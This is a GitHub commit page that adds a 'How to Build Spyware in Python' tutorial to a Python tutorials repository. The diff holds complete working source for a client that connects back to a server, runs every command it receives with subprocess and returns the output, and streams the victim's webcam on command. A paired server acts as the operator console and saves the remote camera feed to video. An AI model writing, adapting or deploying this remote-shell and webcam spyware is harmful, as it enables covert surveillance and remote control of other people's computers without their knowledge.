Skip to content

Commit 496d18a

Browse files
committed
add spyware tutorial
1 parent 369c05e commit 496d18a

File tree

5 files changed

+183
-0
lines changed

5 files changed

+183
-0
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
6464
- [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows))
6565
- [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover))
6666
- [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor))
67+
- [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware))
6768

6869
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
6970
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

ethical-hacking/spyware/README.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python)

ethical-hacking/spyware/client.py

+64
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
import socket # For network (client-server) communication.
2+
import os # For handling os executions.
3+
import subprocess # For executing system commands.
4+
import cv2 # For recording the video.
5+
import threading # For recording the video in a different thread.
6+
import platform # We use this to get the os of the target (client).
7+
8+
SERVER_HOST = "127.0.0.1" # Server's IP address
9+
SERVER_PORT = 4000
10+
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, you can adjust this.
11+
12+
# Separator string for sending 2 messages at a time.
13+
SEPARATOR = "<sep>"
14+
15+
# Create the socket object.
16+
s = socket.socket()
17+
# Connect to the server.
18+
s.connect((SERVER_HOST, SERVER_PORT))
19+
20+
# Get the current directory and os and send it to the server.
21+
cwd = os.getcwd()
22+
targets_os = platform.system()
23+
s.send(cwd.encode())
24+
s.send(targets_os.encode())
25+
26+
# Function to record and send the video.
27+
def record_video():
28+
global cap
29+
cap = cv2.VideoCapture(0)
30+
while True:
31+
ret, frame = cap.read()
32+
if not ret:
33+
break
34+
_, frame_bytes = cv2.imencode('.jpg', frame)
35+
frame_size = len(frame_bytes)
36+
s.sendall(frame_size.to_bytes(4, byteorder='little'))
37+
s.sendall(frame_bytes)
38+
cap.release()
39+
cv2.destroyAllWindows()
40+
41+
while True:
42+
# receive the command from the server.
43+
command = s.recv(BUFFER_SIZE).decode()
44+
splited_command = command.split()
45+
if command.lower() == "exit":
46+
# if the command is exit, just break out of the loop.
47+
break
48+
elif command.lower() == "start":
49+
# Start recording video in a separate thread
50+
recording_thread = threading.Thread(target=record_video)
51+
recording_thread.start()
52+
output = "Video recording started."
53+
print(output)
54+
else:
55+
# execute the command and retrieve the results.
56+
output = subprocess.getoutput(command)
57+
# get the current working directory as output.
58+
cwd = os.getcwd()
59+
# send the results back to the server.
60+
message = f"{output}{SEPARATOR}{cwd}"
61+
s.send(message.encode())
62+
63+
# close client connection.
64+
s.close()
+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
numpy
2+
opencv-python
+115
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
import socket # For network (client-server) communication.
2+
import cv2 # For video recording.
3+
import signal # For handling the ctrl+c command when exiting the program.
4+
import threading # For running the video recording in a seperate thread.
5+
import numpy as np # For working with video frames.
6+
7+
8+
# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces.
9+
# or if you want to test it locally, use 127.0.0.1
10+
SERVER_HOST = "127.0.0.1"
11+
SERVER_PORT = 4000
12+
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages. You can adjust this to your taste
13+
14+
# Separator string for sending 2 messages at a time
15+
SEPARATOR = "<sep>"
16+
17+
# Create the socket object.
18+
s = socket.socket()
19+
# Bind the socket to all IP addresses of this host.
20+
s.bind((SERVER_HOST, SERVER_PORT))
21+
# Make the PORT reusable
22+
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
23+
# Set maximum number of queued connections to 5.
24+
s.listen(5)
25+
print(f"Listening as {SERVER_HOST} on port {SERVER_PORT} ...")
26+
27+
# Accept any connections attempted.
28+
client_socket, client_address = s.accept()
29+
print(f"{client_address[0]}:{client_address[1]} Connected!")
30+
31+
# Receive the current working directory and os of the target (client).
32+
cwd = client_socket.recv(BUFFER_SIZE).decode()
33+
targets_os = client_socket.recv(BUFFER_SIZE).decode()
34+
35+
# Print the info received.
36+
print("[+] Current working directory: ", cwd)
37+
print("[+] Target's Operating system: ", targets_os)
38+
39+
# Set up the video capture and writer.
40+
cap = None
41+
out = None
42+
recording_thread = None
43+
44+
# Function to handle Ctrl+C signal.
45+
def signal_handler(sig, frame):
46+
print('Saving video and exiting...')
47+
if recording_thread is not None:
48+
recording_thread.join()
49+
if cap is not None and out is not None:
50+
cap.release()
51+
out.release()
52+
cv2.destroyAllWindows()
53+
client_socket.close()
54+
s.close()
55+
exit(0)
56+
57+
# Set up the signal handler.
58+
signal.signal(signal.SIGINT, signal_handler)
59+
60+
# Function to record and display the video.
61+
def record_video():
62+
global out
63+
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
64+
out = cv2.VideoWriter('output.mp4', fourcc, 30.0, (640, 480))
65+
while True:
66+
# Receive the frame size.
67+
frame_size = int.from_bytes(client_socket.recv(4), byteorder='little')
68+
# Receive the frame data.
69+
frame_data = b''
70+
while len(frame_data) < frame_size:
71+
packet = client_socket.recv(min(BUFFER_SIZE, frame_size - len(frame_data)))
72+
if not packet:
73+
break
74+
frame_data += packet
75+
if not frame_data:
76+
break
77+
# Decode the frame.
78+
frame = cv2.imdecode(np.frombuffer(frame_data, dtype=np.uint8), cv2.IMREAD_COLOR)
79+
# Write the frame to the video file.
80+
out.write(frame)
81+
# Display the frame.
82+
cv2.imshow('Remote Camera Feed', frame)
83+
if cv2.waitKey(1) & 0xFF == ord('q'):
84+
break
85+
out.release()
86+
client_socket.close()
87+
cv2.destroyAllWindows()
88+
while True:
89+
# Get the command from the user.
90+
command = input(f"{cwd} $> ")
91+
if not command.strip():
92+
# Empty command.
93+
continue
94+
# Send the command to the client.
95+
client_socket.send(command.encode())
96+
if command.lower() == "exit":
97+
# If the command is exit, just break out of the loop.
98+
break
99+
elif command.lower() == "start":
100+
# Start recording video in a separate thread.
101+
recording_thread = threading.Thread(target=record_video)
102+
recording_thread.start()
103+
output = "Video recording started."
104+
print(output)
105+
else:
106+
# Receive the results from the client.
107+
output = client_socket.recv(BUFFER_SIZE).decode()
108+
results, cwd = output.split(SEPARATOR)
109+
print(results)
110+
111+
# Close the connection to the client and server.
112+
if recording_thread is not None:
113+
recording_thread.join()
114+
client_socket.close()
115+
s.close()

0 commit comments

Comments
 (0)